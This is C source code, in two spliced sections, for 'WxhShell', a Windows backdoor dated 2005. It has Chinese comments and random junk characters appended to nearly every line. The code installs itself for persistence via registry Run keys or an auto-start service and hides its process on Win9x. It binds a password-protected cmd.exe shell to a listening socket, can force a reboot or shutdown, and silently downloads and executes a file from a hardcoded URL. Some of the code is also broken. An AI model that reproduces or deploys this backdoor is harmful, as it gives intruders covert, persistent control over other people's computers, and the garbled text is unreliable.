    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x }-rAr  
    if(Boot(SHUTDOWN)) _,5(HETE2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o#G7gzw)  
    else { #  *\PU  
    closesocket(wsh); ndN 8eh:OR  
    ExitThread(0); k)'c$  
    } ns@b0'IF]  
    break; Kg9REL@,s  
    } R7+k=DI  
  // 获取shell RzXxnx)]q  
  case 's': { Krz[ f  
    CmdShell(wsh); ]e R1 +Nl  
    closesocket(wsh); Si!W@Jm  
    ExitThread(0); jh9^5"vQ  
    break; U1dz:OG>  
  } 'H:lR1(,  
  // 退出 iz>a0~(K  
  case 'x': { <Cm:4)~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  s(F^P  
    CloseIt(wsh); \#  
    break; W&)O i ZN  
    } ?:~ `?  
  // 离开 bc%7-%  
  case 'q': { R:zjEhH )  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }wz )"  
    closesocket(wsh); VMsAT3^w  
    WSACleanup(); pz~AsF  
    exit(1); ;DBO  
    break; XswEAz0=  
        } gQh;4v  
  } WnU"&XZ  
  } FX 0^I 0  
-fn["R]  
  // 提示信息 Jy{A1i@4~s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CZt)Q4  
} 4, 8gf2  
  } *[k7KG2_U  
=#SKN\4  
  return; dyD =R  
} hI]KT a  
rQ LNo,  
// shell模块句柄 UIIR$,XB  
int CmdShell(SOCKET sock) bo`w( h_  
{ kL{2az3"c  
STARTUPINFO si; R@u6mMX{N,  
ZeroMemory(&si,sizeof(si)); ;VNwx(1l`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x/R|i%u-s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A{Jv`K  
PROCESS_INFORMATION ProcessInfo;  0'%R@|  
char cmdline[]="cmd"; Rq<T2}K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :;#Kg_bz  
  return 0; UXnd~DA  
} P] ouLjyq  
SzMh}xDh2  
// 自身启动模式 -6aGcPq  
int StartFromService(void) 25o + ?Y<  
{ `[2nxP>w`  
typedef struct y!h$Z6.  
{ L Lm{:T7  
  DWORD ExitStatus; Ul)2A  
  DWORD PebBaseAddress; [j`It4^nC  
  DWORD AffinityMask; {;=I69 X  
  DWORD BasePriority; RgZBh04q  
  ULONG UniqueProcessId; }b\e2ZK  
  ULONG InheritedFromUniqueProcessId; r*OSEzGUz  
}   PROCESS_BASIC_INFORMATION; 1.4]T, `  
%e+hM $Q  
PROCNTQSIP NtQueryInformationProcess; &>ii2% 4  
-:h5Ky"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a]Bm0gdrO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4w}\2&=  
cO.U*UTmX  
  HANDLE             hProcess;  I QS|  
  PROCESS_BASIC_INFORMATION pbi; &&\ h%-Jc  
hbD@B.PD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;$wS<zp6  
  if(NULL == hInst ) return 0; N4}j,{#  
k3da*vwE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @kenv3[Lc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); be|k"s|6)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y{0`+/\`  
mVcpYyD|k  
  if (!NtQueryInformationProcess) return 0; Zrr3='^s  
{OL*E0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I3uaEv7OZc  
  if(!hProcess) return 0; RY8;bUSR  
;]D@KxO$dJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tKjPLi71  
w}c1zpa  
  CloseHandle(hProcess); [=z1~dXKb  
3k` "%R.H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >pW8K[  
if(hProcess==NULL) return 0; @NWjYHM[`  
<*3{Twa1T  
HMODULE hMod; MUh )  
char procName[255]; mk2T   
unsigned long cbNeeded; };o6|e:2E  
W$O^IC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pk%I98! Jy  
: ~"^st_[!  
  CloseHandle(hProcess); 8xJdK'  
}{[H@uhjH  
if(strstr(procName,"services")) return 1; // 以服务启动 %6j|/|#]  
DmEmv/N=  
  return 0; // 注册表启动 bo '  
} X aW@CW  
LzB)o\a  
// 主模块 >*(4evU  
int StartWxhshell(LPSTR lpCmdLine) !MS z%QcO  
{ ~Z!xS  
  SOCKET wsl; <mjH#aSy  
BOOL val=TRUE; *[*LtyCQt4  
  int port=0; >d!w&0z>  
  struct sockaddr_in door; %Qgo0  
RXh0hD  
  if(wscfg.ws_autoins) Install(); ;n$j?n+|  
v%n'_2J =^  
port=atoi(lpCmdLine); 5gARGA  
QMea2q|3$  
if(port<=0) port=wscfg.ws_port; 5Al 59]  
m8,P-m  
  WSADATA data; zYO+;;*@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W Y_}D!O  
_m;0%]+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pXL_`=3Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jv>l6)  
  door.sin_family = AF_INET; 3Wxl7"!x m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e;~[PYeu  
  door.sin_port = htons(port); %Ez%pT0TQ#  
5<w"iqZ\?N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6[,*2a8  
closesocket(wsl); +6@".<  
return 1; REDh`Wd  
} ]b4*`}\  
EQ1wyKZS2g  
  if(listen(wsl,2) == INVALID_SOCKET) { XmXp0b7  
closesocket(wsl); !yU!ta Q  
return 1; ZfM(%rx  
} L3lf28W  
  Wxhshell(wsl); *X8<hYKZq  
  WSACleanup(); |UZPn>F~  
>i7zV`eK  
return 0; NlXHOUw)u  
*L7 ZyERs  
} " NnUu 8x  
L3iY Z>]  
// 以NT服务方式启动 W=41jw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jjL(=n<J<"  
{ g+;m?VJ  
DWORD   status = 0; )%Z<9k  
  DWORD   specificError = 0xfffffff; }+G6`Zd  
Zm,<2BP>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )pLde_ k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [R*UPa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sYM3&ikyHI  
  serviceStatus.dwWin32ExitCode     = 0; e8 4[B.  
  serviceStatus.dwServiceSpecificExitCode = 0; U1G"T(;s:  
  serviceStatus.dwCheckPoint       = 0; bDVz+*bU}  
  serviceStatus.dwWaitHint       = 0; \E1[ /  
+pp|Qgr 3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +F$c_ \>  
  if (hServiceStatusHandle==0) return; ^55#!/9  
fBBNP)  
status = GetLastError(); *>,8+S33r{  
  if (status!=NO_ERROR) ,<s'/8Ik  
{ XcB!9AIO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1^^<6e  
    serviceStatus.dwCheckPoint       = 0; p&~8N#I#  
    serviceStatus.dwWaitHint       = 0; ]8FSs/4  
    serviceStatus.dwWin32ExitCode     = status; B'"(qzE-kM  
    serviceStatus.dwServiceSpecificExitCode = specificError; aF1i!Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :"5'l>la  
    return; H"lq!C`  
  } xR `4<  
$\?BAkx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :@# '&(#~  
  serviceStatus.dwCheckPoint       = 0; G6wBZ?)k  
  serviceStatus.dwWaitHint       = 0; ]`39E"zY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `7$0H]*6  
} 5/4N  Y  
>KXSb@  
// 处理NT服务事件,比如:启动、停止 hAq7v']m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V("@z<b|  
{ veX#K#  
switch(fdwControl) |^p7:)cy  
{ W(U:D?e  
case SERVICE_CONTROL_STOP: 9NXf~-V-  
  serviceStatus.dwWin32ExitCode = 0; MQ7d IUs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Y77g[AX2-  
  serviceStatus.dwCheckPoint   = 0; 2VO bj7F  
  serviceStatus.dwWaitHint     = 0; V ':?rEN|  
  { nv>|,&;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MNd8#01q`  
  } T= Q"| S]V  
  return;  _0^f  
case SERVICE_CONTROL_PAUSE: ;s{k32e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }4G/x;D  
  break; \yDr  
case SERVICE_CONTROL_CONTINUE: TY,5]*86I&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lS<T|:gz@  
  break; !Ab4'4f  
case SERVICE_CONTROL_INTERROGATE: 2P)*Y5`KBH  
  break; J*HZ=6L  
}; +pDZ,c,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NQb!?w  
} ]6JI((  
J3/2>N]/}  
// 标准应用程序主函数 MP"Pqt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Q<h,P  
{ AcC'hr.N+  
6,Aj5jG  
// 获取操作系统版本 -jN:~.  
OsIsNt=GetOsVer(); 4rX jso|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j;%RV)e  
E(t:F^z&D  
  // 从命令行安装 "h.-qQGU%  
  if(strpbrk(lpCmdLine,"iI")) Install(); bWp40&vx  
E1'| ;}/  
  // 下载执行文件 }~/u%vI@M5  
if(wscfg.ws_downexe) { ~\4`tc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +-8u09-F  
  WinExec(wscfg.ws_filenam,SW_HIDE); @|A w T  
} H_3-"m&3  
C8^=7H EB  
if(!OsIsNt) { 8Ter]0M&  
// 如果时win9x,隐藏进程并且设置为注册表启动 r7dvj#^  
HideProc(); Y<1]{4Wt  
StartWxhshell(lpCmdLine); 5Z (1&  
} WsHC%+\'  
else 24 )Sf  
  if(StartFromService())  x!)[l;  
  // 以服务方式启动 lawjGI  
  StartServiceCtrlDispatcher(DispatchTable); e[5= ?p@|  
else {/Mz /|%  
  // 普通方式启动 }vzZWe  
  StartWxhshell(lpCmdLine); v-^7oai  
Gvo|uB#  
return 0; <|qh5Scp  
} ;;6e t/8  
, Oqd4NS  
/K+GM8rtE  
L p(6K  
=========================================== }Z^r<-N  
4[q'1N6-  
^Ob#B!=  
W PDL$y  
*^h$%<QI  
 D I` M  
" f[S$ Gu4-  
N\ Nwmx  
#include <stdio.h> ry99R|/d1  
#include <string.h> pUTC~|j%:  
#include <windows.h> V%kZ-P*  
#include <winsock2.h> zxo0:dyw7  
#include <winsvc.h> .W[[Z;D  
#include <urlmon.h> IdY\_@$ v  
hSBR9g  
#pragma comment (lib, "Ws2_32.lib") 49/j9#hr  
#pragma comment (lib, "urlmon.lib") /3]b!lFZZ  
jGp|:!'w  
#define MAX_USER   100 // 最大客户端连接数 .JkcCEe{G  
#define BUF_SOCK   200 // sock buffer D7'P^*4_B  
#define KEY_BUFF   255 // 输入 buffer *ud"?{)Z  
lQ t&K1m  
#define REBOOT     0   // 重启 jg,oGtRz  
#define SHUTDOWN   1   // 关机 dV~yIxD}C*  
T[$! ^WT  
#define DEF_PORT   5000 // 监听端口 CO+[iJ,4C+  
 P5&mpl1  
#define REG_LEN     16   // 注册表键长度 ss8de9T"'  
#define SVC_LEN     80   // NT服务名长度 /CXrxeo  
PA=.)8  
// 从dll定义API 9lT6fW`v1Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R78=im7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Dh[lgF0C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n_8wYiBs(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ N7J:Q  
rSGt`#E-s.  
// wxhshell配置信息 GQU9UXe  
struct WSCFG { Gp<7i5  
  int ws_port;         // 监听端口 DA0{s  
  char ws_passstr[REG_LEN]; // 口令 $}9.4` F>  
  int ws_autoins;       // 安装标记, 1=yes 0=no K5oVB,z)  
  char ws_regname[REG_LEN]; // 注册表键名 m{~p(sQL  
  char ws_svcname[REG_LEN]; // 服务名 &s]wf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R^nkcLFb/q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zVSbEcr,C~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :yLSLN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X?RnP3t~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nWrkn m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \|OW`7Q)k  
y)5U*\b  
}; f,e7;u z%  
"q-,140_  
// default Wxhshell configuration :tc]@0+  
struct WSCFG wscfg={DEF_PORT, qQL]3qP  
    "xuhuanlingzhe", c(]NpH in  
    1, !W^b:qjJ  
    "Wxhshell", !!WSGZUR  
    "Wxhshell", ^p'iX4M  
            "WxhShell Service", I eQF+Xz  
    "Wrsky Windows CmdShell Service", {;iG}jK  
    "Please Input Your Password: ", Z$8 X1(o  
  1, (3H'!P7|~  
  "http://www.wrsky.com/wxhshell.exe", #D{jNSB  
  "Wxhshell.exe" 319 &:  
    }; L}>XH*  
im}=  
// 消息定义模块 6b-j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )$h<9e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A;pVi;7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %J_`-\)"{~  
char *msg_ws_ext="\n\rExit."; ,+iREh;  
char *msg_ws_end="\n\rQuit."; L`fDc  
char *msg_ws_boot="\n\rReboot..."; pi'w40!:  
char *msg_ws_poff="\n\rShutdown..."; @kq~q;F  
char *msg_ws_down="\n\rSave to "; ` 0YI?$G1  
";I|\ T  
char *msg_ws_err="\n\rErr!"; GMY"*J<E  
char *msg_ws_ok="\n\rOK!"; ~"oxytJ  
~y#jq,i/  
char ExeFile[MAX_PATH]; <> jut  
int nUser = 0; ~|LlT^C  
HANDLE handles[MAX_USER]; |_=o0l f  
int OsIsNt; q- U/JC  
D"5uN0Z  
SERVICE_STATUS       serviceStatus; ?1r>t"e5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q~3dbj  
O<@S,/Q4  
// 函数声明 U[!x 0M  
int Install(void); $@[`/Uh   
int Uninstall(void); Jgf73IX[  
int DownloadFile(char *sURL, SOCKET wsh); #$<7  
int Boot(int flag); yK1Z&7>J>  
void HideProc(void); ]5!}S-uJq  
int GetOsVer(void); %T.4Aj  
int Wxhshell(SOCKET wsl); dkz79G}e  
void TalkWithClient(void *cs); GzJ("RE0)v  
int CmdShell(SOCKET sock); {V> >a  
int StartFromService(void); rv(Qz|K@  
int StartWxhshell(LPSTR lpCmdLine); /Dn,;@ZwAi  
U%swqle4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +m> %(?=A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t+R8{9L-  
-Qs4 s  
// 数据结构和表定义 RJ#xq#l  
SERVICE_TABLE_ENTRY DispatchTable[] = \= M*x  
{ +) pO82  
{wscfg.ws_svcname, NTServiceMain}, )czuJ5  
{NULL, NULL} s^ t1T&  
}; ews4qP  
1gq(s2izy  
// 自我安装 ^|z  
int Install(void) 4FmT.P  
{ &x}a  
  char svExeFile[MAX_PATH]; yv.UNcP?  
  HKEY key; 0?D`|x_  
  strcpy(svExeFile,ExeFile); 4t(V)1+  
m=Z1DJG  
// 如果是win9x系统,修改注册表设为自启动 }CR@XD}[  
if(!OsIsNt) { N2!HkUy2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XO*|P\#^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qusX]Tst z  
  RegCloseKey(key); 3Mvm'T:[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E~=`Ac,G2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hFDY2Cp]D  
  RegCloseKey(key); $'SWH+G  
  return 0; $6BD6\@  
    } yu3T5@Ww  
  } ^Vl{IsY  
} {8NnRnzU  
else { DEGEr-  
,S|v>i, @  
// 如果是NT以上系统,安装为系统服务 |Rh%wJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *vx!twu1o  
if (schSCManager!=0) we<m%pf  
{ ZH9sf~7  
  SC_HANDLE schService = CreateService Q:.q*I!D<4  
  ( (lDbArqy  
  schSCManager, n[jyhBf\W  
  wscfg.ws_svcname, VA9" Au  
  wscfg.ws_svcdisp, k<mfBNvuo  
  SERVICE_ALL_ACCESS, N# Ru `;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 80X #V  
  SERVICE_AUTO_START, n'<FH<x  
  SERVICE_ERROR_NORMAL, vT*z3  
  svExeFile, MuzlUW]  
  NULL, [m>kOv6>^  
  NULL, eq0&8/=  
  NULL, .xR J )9q  
  NULL, ;\N{z6  
  NULL G(LGa2;Zg  
  ); ?GdoB7(%  
  if (schService!=0) }L.xt88  
  { LwpO_/qV  
  CloseServiceHandle(schService); DKd:tL24&  
  CloseServiceHandle(schSCManager); SxC   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fdgu=qMm  
  strcat(svExeFile,wscfg.ws_svcname); PcXz4?Q$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S#IlWU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Cr?|bDv}o  
  RegCloseKey(key); !J3dlUFRO  
  return 0; qpo3b7(N  
    } #nQZ/[|  
  } ac8+?FpK #  
  CloseServiceHandle(schSCManager); \2q!2XWgK  
} [:cy.K!Uo%  
} Wb*A};wE  
n H)6mOYp  
return 1; <cQ)*~hN  
} t5r,3x!E  
#0K122oY  
// 自我卸载 oyQp"'|N  
int Uninstall(void) Pr |u_^  
{ W\JbX<mQ  
  HKEY key; ]a4rA+NFLB  
89*txYmx  
if(!OsIsNt) { RAw/Q$I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { idWYpU>gC  
  RegDeleteValue(key,wscfg.ws_regname); ZT*RD2,  
  RegCloseKey(key); +Y7"!wYR>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #S?xRqkc  
  RegDeleteValue(key,wscfg.ws_regname); ('H[[YODh  
  RegCloseKey(key); ~j%g?;#*  
  return 0; 5)g6yV'  
  } :VP*\K/:  
} B d#D*"gx  
} [,A*nU$  
else { ^Ht!~So  
*D&(6$[^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W_ w^"'  
if (schSCManager!=0) T%GdvtmS>  
{ 2g>4fZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a[ Pyxx_K  
  if (schService!=0) X?m"86L  
  { .M3]\I u  
  if(DeleteService(schService)!=0) { n< npJ*  
  CloseServiceHandle(schService); nVkPYeeT  
  CloseServiceHandle(schSCManager); }m!L2iK4qk  
  return 0; 3v~804kWB  
  } JmHEYPt0  
  CloseServiceHandle(schService); ~RlsgtX"  
  } 4/6?wX  
  CloseServiceHandle(schSCManager); HYd&.*41rE  
} 6Fp}U  
} A~MAaw!YE  
|y,%dFNLf  
return 1; >=G-^z:  
} mB.ybrig  
IM""s]  
// 从指定url下载文件 P ?- #d\qi  
int DownloadFile(char *sURL, SOCKET wsh) xq#YBi,  
{ du,mbTQib  
  HRESULT hr; [sxJ<  
char seps[]= "/"; ,,U8X [A  
char *token; oD0WHp  
char *file; uc>u=kEue  
char myURL[MAX_PATH]; in>Os@e#  
char myFILE[MAX_PATH]; s L;  
>A'Q9Tia;  
strcpy(myURL,sURL); azEN_oUV  
  token=strtok(myURL,seps); qa>Z?/w  
  while(token!=NULL) teRK#: .P  
  { (jR7D"I  
    file=token; "])yV    
  token=strtok(NULL,seps); --t"X<.z  
  } ccUI\!TD{/  
$K_G|Wyi  
GetCurrentDirectory(MAX_PATH,myFILE); 3>Ne_kY  
strcat(myFILE, "\\"); h'Gs$o7#P  
strcat(myFILE, file); >!o||Yn  
  send(wsh,myFILE,strlen(myFILE),0); CN7 2 E  
send(wsh,"...",3,0); KwEyMR!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yeI((2L@E2  
  if(hr==S_OK) Qn=#KS8=J  
return 0; eSAB :L,K  
else A6ar@$MZ  
return 1; &bh%>[  
<=1nr@L  
} H1!u1k1nl  
75>)1H)Xm  
// 系统电源模块 /' +GYS  
int Boot(int flag) U|[+M@F_L  
{ &OK[n1M  
  HANDLE hToken;  1rnbUE  
  TOKEN_PRIVILEGES tkp; w$E8R[J~P  
9E@}@ZV(  
  if(OsIsNt) { /w5~ O:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EbG`q!C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `>kHJI4  
    tkp.PrivilegeCount = 1; 4&)4hF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hv]}b'M$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); orT%lHwjL  
if(flag==REBOOT) { l_?r#Qc7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .ty^k@J|]  
  return 0; U};~ff+  
} "Uk "  
else { )/32sz]~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dfU z{  
  return 0; =_\+6\_  
} G7|CwzMg  
  } W zKaLyM  
  else { ,PmQ}1kGW  
if(flag==REBOOT) { `W& :*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k&<cFZU  
  return 0; n]K`ofjl^  
} \A~r~  
else { 0$saDmED  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fo$5WTY  
  return 0; 58vq5j<V  
} 4u!<3-3Zy  
} <@+>A$~0  
}3^b1D>2O  
return 1; G1 :*F8q  
} {[ E7Cf  
;usv/8  
// win9x进程隐藏模块 LTof$4s  
void HideProc(void) ].A>ORS/  
{ != @U~X|cu  
E#5$O2b#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rt%3\?rf  
  if ( hKernel != NULL ) E0SP  
  { @c >a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o?9k{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); equ|v~@ y  
    FreeLibrary(hKernel); r[u@ [  
  } Nt>wzPd)  
sKIpL(_I$  
return; 7KB:wsz^  
} -5&|"YYjr{  
u U|fCwQt  
// 获取操作系统版本 Z'u:Em  
int GetOsVer(void) )P)Zds@F  
{ | e&v;48  
  OSVERSIONINFO winfo; =Wgz\uGJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 31FQ=(K  
  GetVersionEx(&winfo); .q!U@}k.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AV t(e6H  
  return 1; WNE=|z#|  
  else |Z"5zL10  
  return 0; r@|{mQOxa  
} CO)BF%?B  
L\`uD  
// 客户端句柄模块 XBTtfl &  
int Wxhshell(SOCKET wsl) {H\(H _X  
{ gG>|5R0  
  SOCKET wsh; A,WZ}v}_  
  struct sockaddr_in client; BLno/JK0}  
  DWORD myID; D09/(%4j  
t V]BcDp  
  while(nUser<MAX_USER) hYj!*P)uV  
{ )|d]0/<  
  int nSize=sizeof(client); c~bTK" u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =}8:zO 2'{  
  if(wsh==INVALID_SOCKET) return 1; GfG!CG^ %  
z }t{bm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F74^HQ*J  
if(handles[nUser]==0) uyp|Xh,  
  closesocket(wsh); 4a]$4LQV  
else ~EV7E F  
  nUser++; 0/vmj,&B(  
  } 7,pn0,HI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0_A|K>7  
oD@~wcMIT0  
  return 0; M6X`]R'  
} xDJs0P4  
SF 7p/gG  
// 关闭 socket _xHEA2e!  
void CloseIt(SOCKET wsh) m$w'`[H  
{ fD1a)Az  
closesocket(wsh); Z^fkv  
nUser--; (,i&pgVZ  
ExitThread(0); F5Xj}`}bq  
} OJ/l}_a  
03{pxI  
// 客户端请求句柄 5Az4<  
void TalkWithClient(void *cs) S<-e/`p=H  
{ U|NVDuo{{x  
X}Oo5SNgff  
  SOCKET wsh=(SOCKET)cs; I Ceb2R  
  char pwd[SVC_LEN]; R _c! ,y  
  char cmd[KEY_BUFF]; NDmTxW#g  
char chr[1]; j$he5^GC  
int i,j; $;1TP|  
WZ3GI l  
  while (nUser < MAX_USER) { A<+veqb4  
}H>}v/  
if(wscfg.ws_passstr) { h VQj$TA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \?|FB~.Ry  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E\X:VQ9  
  //ZeroMemory(pwd,KEY_BUFF); 1&wI*4  
      i=0; ) vKZs:  
  while(i<SVC_LEN) { Q;'{~!=  
l1EI4Y9KG  
  // 设置超时 +ROwk  
  fd_set FdRead; YyF=u~l  
  struct timeval TimeOut; `u *:wJsv  
  FD_ZERO(&FdRead); TsvF~Gdp  
  FD_SET(wsh,&FdRead); (;Ad:!9{  
  TimeOut.tv_sec=8; )6k([u%;B  
  TimeOut.tv_usec=0; Ag6^>xb^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8,l~e8&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !n?8'eqWru  
gXQ s)Eyv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ??7c9l5,  
  pwd=chr[0]; 8vuA`T!~G  
  if(chr[0]==0xd || chr[0]==0xa) { j~ 'a %P  
  pwd=0; qkg`4'rLg  
  break; 1 po.Cmx  
  } t}!Y}D  
  i++; {zri6P+s  
    } pI>[^7  
?Tr]zxtd  
  // 如果是非法用户,关闭 socket .}O _5b(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9k`}fk\M  
} _T{ "F  
IGtpL[.;/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); soTmKqj E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^`MGlI}   
f\{ynC2m  
while(1) { 3T|xUY)G4  
$YNWT\FE  
  ZeroMemory(cmd,KEY_BUFF); Fr,qVYf  
O\"k[V?.V  
      // 自动支持客户端 telnet标准   zo^34wW^  
  j=0; p1blPBlp  
  while(j<KEY_BUFF) { |@+/R .l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S]O0zv^}  
  cmd[j]=chr[0]; J'=iEI  
  if(chr[0]==0xa || chr[0]==0xd) { hA6D*8oXD  
  cmd[j]=0; $r'PYGn  
  break; <uYeev%  
  } 8(b C.  
  j++; KH~o0 W  
    } 'Y%@fZf x  
2# 1G)XI  
  // 下载文件 ^_Ap?zn  
  if(strstr(cmd,"http://")) { }+F&=-P)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [ 1$p}x  
  if(DownloadFile(cmd,wsh)) GgNqci,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u@{z xYn  
  else ]'[(MH"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RXbhuI  
  } h5do?b v!  
  else { )v+R+3<  
&>T7]])  
